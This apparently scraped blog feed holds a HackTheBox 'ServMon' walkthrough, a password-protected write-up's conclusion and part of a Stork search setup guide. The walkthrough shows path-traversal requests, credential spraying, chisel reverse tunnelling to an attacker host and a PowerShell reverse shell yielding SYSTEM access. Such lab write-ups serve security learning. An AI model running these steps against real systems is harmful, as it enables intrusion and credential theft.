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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div></p> <h2 id="conclusion_1">Conclusion</h2> <p>Oh man. The initial exploitation was super easy using metasploit to automate the payload execution. I spent hours falling down rabbit holes on the priv esc. I figured since our username was <code>asterisk</code>, there was an executable named <code>asterisk</code> and the machine's image on HackTheBox looked like an old-school phone switchboard, that the privilege escalation had to deal with the asterisk application. I kept trying to get the two vulnerabilities for asterisk priv-esc to work and they did not. I ran LinPEAS and it noticed DirtyFrag as a potential chance, but unfortunately the mitigations were applied. I combed through the LinPEAS several times, and couldn't find anything to latch onto. </p> <p>After manually searching through HackTricks, I started trying to manually find other configuration files we could write to, as it was rather atypical how much write access we had as a standard user. Even when I first found the additional configuration files, they looked uneventful. </p> <p>I definitely learned something new about manual enumeration, and an alternative type of scheduled task.</p>2026-06-09T21:34:00-04:002026-06-10T01:41:14.743498-04:00Eric Turnertag:blog.ericturner.it,2026-06-09:/2026/06/09/hackthebox-servmon/

<h2 id="target">Target</h2> <p>10.129.227.77</p> <h2 id="recon">Recon</h2> <p>Starting off with an nmap scan, many ports discovered.</p> <pre><code class="language-shell"> nmap -sSV -p- 10.129.227.77 -oA 1_nmap Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-08 20:25 EDT Nmap scan report for 10.129.227.77 Host is up (0.13s latency …</code></pre>

<h2 id="target">Target</h2> <p>10.129.227.77</p> <h2 id="recon">Recon</h2> <p>Starting off with an nmap scan, many ports discovered.</p> <pre><code class="language-shell"> nmap -sSV -p- 10.129.227.77 -oA 1_nmap Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-08 20:25 EDT Nmap scan report for 10.129.227.77 Host is up (0.13s latency). Not shown: 65518 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0) 80/tcp open http 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6063/tcp open x11? 6699/tcp open napster? 8443/tcp open ssl/https-alt 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC </code></pre> <p>Several ports not confidently fingerprinted. Most notable to start with are port 80 and 8443.</p> <h3 id="80-nvms-100">80 - NVMS-100</h3> <p>Navigating to port 80, there is a site named NVMS-100 with a login page. Viewing the source code, all the assets have a cache-busting version <code>?v=20150323.1</code>. <code>searchsploit nvms</code> reveals a directory traversal vulnerability. I tried a couple of attempts with the <code>/../../../../../../../../../../../../windows/win.ini</code> payload but does not seem to make a difference and throws a strange 404 in XML.</p> <p>Reviewing the request headers has a Cookie: <code>dataPort=6063</code>, attempting to use this also does not make the directory traversal work.</p> <h3 id="8443-nsclient">8443 - NSClient++</h3> <p>This application could potentially to CVE-2025-34079, a local priv escalation which allows a user with admin creds to exploit to full system. If the directory traversal can be figured out with NVMS-100, this could be an option.</p> <h3 id="21-ftp">21 - FTP</h3> <p><code>nc 10.129.227.77 21</code> shows <code>220 Microsoft FTP Service</code> but all commands fail. Retrying as <code>ftp anonymous@10.129.227.77</code> works.</p> <p><code>pwd</code> returns <code>/</code>. <code>ls</code> shows <code>Users</code> and inside are Nadine and Nathan. Inside Nadine is a <code>Confidential.txt</code>,</p> <pre><code>Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards Nadine </code></pre> <p>Under Nathan's account, the passwords.txt file is not here but instead the following <code>Notes to do.txt</code></p> <pre><code>ftp&gt; more "Notes to do.txt" 1) Change the password for NVMS - Complete 2) Lock down the NSClient Access - Complete 3) Upload the passwords 4) Remove public access to NVMS 5) Place the secret files in SharePoint </code></pre> <h3 id="80-part-2">80 - Part 2</h3> <p>I tried the directory traversal in Edge, python and curl and all failed. Using Burp Suite Repeater, I was able to send a request and it works fine here.</p> <pre><code>GET ../../../../../../../../../../../../../Users/nathan/Desktop/passwords.txt HTTP/1.1 Host: 10.129.227.77 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: dataPort=6063 Connection: keep-alive </code></pre> <p>Response:</p> <pre><code>HTTP/1.1 200 OK Content-type: text/plain Content-Length: 156 Connection: close AuthInfo: 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$ </code></pre> <p>None of these passwords worked for nvms-1000 for either admin nor nathan. However there's another service it might work for.</p> <h2 id="initial-access_1">Initial Access</h2> <p>We have a list of passwords and at least 4 usernames to use, so we can create a brute force list and try <code>crackmap exec</code></p> <pre><code class="language-shell">$ cat users.txt admin administrator nadine nathan $ cat passwords.txt 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$ $ crackmapexec smb 10.129.227.77 -u users.txt -p passwords.txt SMB 10.129.227.77 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False) SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [-] ServMon\nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.129.227.77 445 SERVMON [+] ServMon\nadine:L1k3B1gBut7s@W0rk </code></pre> <p>We get a match, but interestingly it's on nadine's account and not nathan's. Also, these credentials happen to work for SSH as well, granting us our first shell</p> <h2 id="post-exploitation">Post-Exploitation</h2> <p>As we have legitimate credentials and are utilizing SSH, we don't need to configure a more persistent shell.</p> <p>Browsing around, <code>C\Users\Nadine\Desktop</code> contains our first <code>user.txt</code> flag. </p> <p>The path to vulnerability is likely the CVE-2025-34079 on NSClient++. We need to determine if we can find the password in the configuration file for this application to exploit.</p> <p>In the main <code>C:\</code> directory, there is an <code>inetpub</code>, however nothing notable is here. There's also the <code>C:\Shared</code> which we saw when connecting to the ftp server anonymously. <code>C:\Program Files\NSClient++</code> is the root folder for NSClient. <code>nsclient.ini</code> contains the configuration, which reveals </p> <pre><code class="language-powershell">&gt; type nsclient.ini # If you want to fill this file with all available options run the following command: # nscp settings --generate --add-defaults --load-all # If you want to activate a module and bring in all its options use: # nscp settings --activate-module &lt;MODULE NAME&gt; --add-defaults # For details run: nscp settings --help ; in flight - TODO [/settings/default] ; Undocumented key password = ew2x6SsGTxjRwXOT ; Undocumented key allowed hosts = 127.0.0.1 </code></pre> <h2 id="priv-esc-to-system">Priv Esc to SYSTEM</h2> <p>With the password retrieved, we will need to either exploit locally, or create a tunnel back to our attack box for exploitation. While the NSClient++ is accessible externally, the configuration file is set to only allow localhost to interact with it. Attempting to login via 8443 throws a 403 unauthorized error.</p> <pre><code class="language-shell"># on attacking machine, serve the directory for our chisel.exe kali@kali:~$ windows-binaries kali@kali:~$ python -m http.server </code></pre> <pre><code class="language-powershell"># victim machine, retrieve the chisel.exe binary from the attacker nadine@SERVMON &gt; powershell.exe -c "iwr -URI 'http://10.10.10.10:8000/chisel_1.11.5_amd64.exe' -OutFile 'C:\users\nadine\downloads\chisel.exe'" </code></pre> <pre><code class="language-shell"># attacker machine, spawn a chisel server to listen on port 9001 kali@kali:~$ chisel server --reverse --port 9001 </code></pre> <pre><code class="language-powershell"># victim machine, spawn the client, forwarding local port 8443 to our attacker via port 9001 and make it accessible on attacker:8443 nadine@SERVMON &gt; cd C:\users\nadine\downloads nadine@SERVMON &gt; .\chisel.exe client 10.10.10.10:9001 R:8443:127.0.0.1:8443 </code></pre> <pre><code class="language-bash"># attacker machine, new tab to stand up listener for priv shell kali@kali:~$ nc -lvnp 4443 </code></pre> <p>With the tunnel configured, we can now access the website via 127.0.0.1:8443 and properly login with our password <code>ew2x6SsGTxjRwXOT</code>, which I confirmed is successful. Searching on exploitDB, we can use 48360 as our exploit code. While I tried several times to execute, I kept getting killed with <code>http.client.RemoteDisconnected: Remote end closed connection without response</code>.</p> <p>Looks like manual exploitation time. After logging in, I made my way to the settings tab and clicked + Add new on <code>/external scripts/scripts/default/</code>. For the value, I used a powershell reverse shell from <a href="https://revshells.com">revshells.com</a></p> <pre><code>Section: /settings/external scripts/scripts Key: vulncheck Value: powershell -e JABFAHIA...8AcwBlACgAKQA= </code></pre> <p>Then we click Save Config under the changes dropdown at the top of the screen, followed by Control &gt; Reload.</p> <p>After it refreshes, we re-enter our password and I confirm I see vulncheck under the settings with the payload. </p> <p>On the Queries tab, I selected the first one, check_tasksched, and opened it. On the run tab, swap the command to <code>vulncheck</code> and click run. </p> <pre><code class="language-shell">kali@kali:~$ nc -lvnp 4443 listening on [any] 4443 ... connect to [10.10.10.10] from (UNKNOWN) [10.129.227.77] 50444 whoami nt authority\system PS C:\Program Files\NSClient++&gt; cd C:\Users\Administrator\Desktop PS C:\Users\Administrator\Desktop&gt; dir Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/9/2026 5:31 PM 34 root.txt PS C:\Users\Administrator\Desktop&gt; type root.txt 79593a...60aba </code></pre> <p>Access Granted! I realized you have to be quick, as it seems to drop the shell after about a minute or so. In this case, we were able to grab what we needed, but trying to get a more persistent shell could be trickier.</p> <h2 id="recap-lessons-learned">Recap &amp; Lessons Learned</h2> <p>A pretty neat machine! Finding the vulnerabilities on the two web applications was fairly easy. Actually attempting to exploit them was a bit trickier. </p> <p>While I saw the directory traversal exploit, it wasn't until I used Burp Suite's Repeater did it finally work. Multiple attempts with curl, the browser's dev tools and python all failed to return a response, even with the same payload. I am also surprised that it was unable to fetch any other files like nadine's flag or C:\Windows\win.ini.</p> <p>Luckily, I had already identified the privilege escalation exploit before initial access, so pivoting to that was fairly straight forward. NSClient++ seems to be very unstable and I had several issues getting things to load and my connection dropping. I just recently learned the trick about using chisel to create a reverse tunnel to bypass the local-only access, another handy tool to use.</p> <p>The exploit code should have worked, but due to the instability issues, it kept closing connection and required manual exploitation. Luckily the code was well named / documented so I was able to reproduce it in the UI pretty easily.</p> <p>Another solid windows machine!</p>2026-06-06T17:10:00-04:002026-06-07T15:09:47.861197-04:00Eric Turnertag:blog.ericturner.it,2026-06-06:/2026/06/06/stork-search/

<p>After migrating from wordpress to a static site, one thing I wanted to re-implement was a search bar functionality. This is tricky due to the fact that static sites have no backend. Pelican has a plugin named <a href="https://github.com/pelican-plugins/search">pelican-search</a> that uses <a href="https://stork-search.net/">stork</a> to build a search index for use on the …</p>

<p>After migrating from wordpress to a static site, one thing I wanted to re-implement was a search bar functionality. This is tricky due to the fact that static sites have no backend. Pelican has a plugin named <a href="https://github.com/pelican-plugins/search">pelican-search</a> that uses <a href="https://stork-search.net/">stork</a> to build a search index for use on the site. One of the challenges is that while pelican-search is still maintained, the maintainer of stork stepped down 3 years ago and it's remained mostly stagnant since. I was able to still get it working, so here's how I did it!</p> <h2 id="installing-stork-on-windows-wsl-ubuntu">Installing Stork on Windows WSL (Ubuntu)</h2> <p>I primarily use windows, which stork does not have a binary for. I already had an install of <code>wsl</code> so was able to boot into the ubuntu terminal for this.</p> <pre><code class="language-shell">eric@blog:~$ wget https://files.stork-search.net/releases/v1.6.0/stork-ubuntu-20-04 eric@blog:~$ chmod +X stork-ubuntu-20-04 eric@blog:~$ mv ./stork-ubuntu-20-04 /usr/bin/stork </code></pre> <p>Now when trying to launch, I got:</p> <pre><code class="language-shell">eric@blog:~$ stork stork: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory </code></pre> <p>To fix that:</p> <pre><code class="language-shell">eric@blog:~$ cd /tmp eric@blog:/tmp$ wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb eric@blog:/tmp$ sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2_amd64.deb eric@blog:/tmp$ stork Stork 1.6.0 </code></pre> <p>Awesome, part one done!</p> <h2 id="installing-stork-search">Installing Stork Search</h2> <p>Back on my pelican blog, with the venv active, a simple <code>pip install pelican-search</code> pulls the pelican-search plugin. I have custom plugins, so I needed to add <code>'pelican-search'</code> to the <code>PLUGINS</code> array in <code>pelicanconf.py</code></p> <h2 id="installing-static-assets">Installing Static Assets</h2> <p>Due to the main project being unmaintained, I figured pulling the assets to self-host was the smarter choice</p> <pre><code class="language-shell">export STORKVERSION="v1.6.0" cd /themes/2026 mkdir -p static/{js,css} wget -O static/js/stork.js https://files.stork-search.net/releases/$STORKVERSION/stork.js wget -O static/js/stork.js.map https://files.stork-search.net/releases/$STORKVERSION/stork.js.map wget -O static/js/stork.wasm https://files.stork-search.net/releases/$STORKVERSION/stork.wasm </code></pre> <p>I followed the remaining <a href="https://github.com/pelican-plugins/search">instructions</a> to add the appropriate references to <code>base.html</code> to add the stylesheet and scripts.</p> <h2 id="building-the-index">Building the Index</h2> <p>In my pelicanconf.py, I add the following to pull all my pages, but skip those that are encrypted.</p> <pre><code 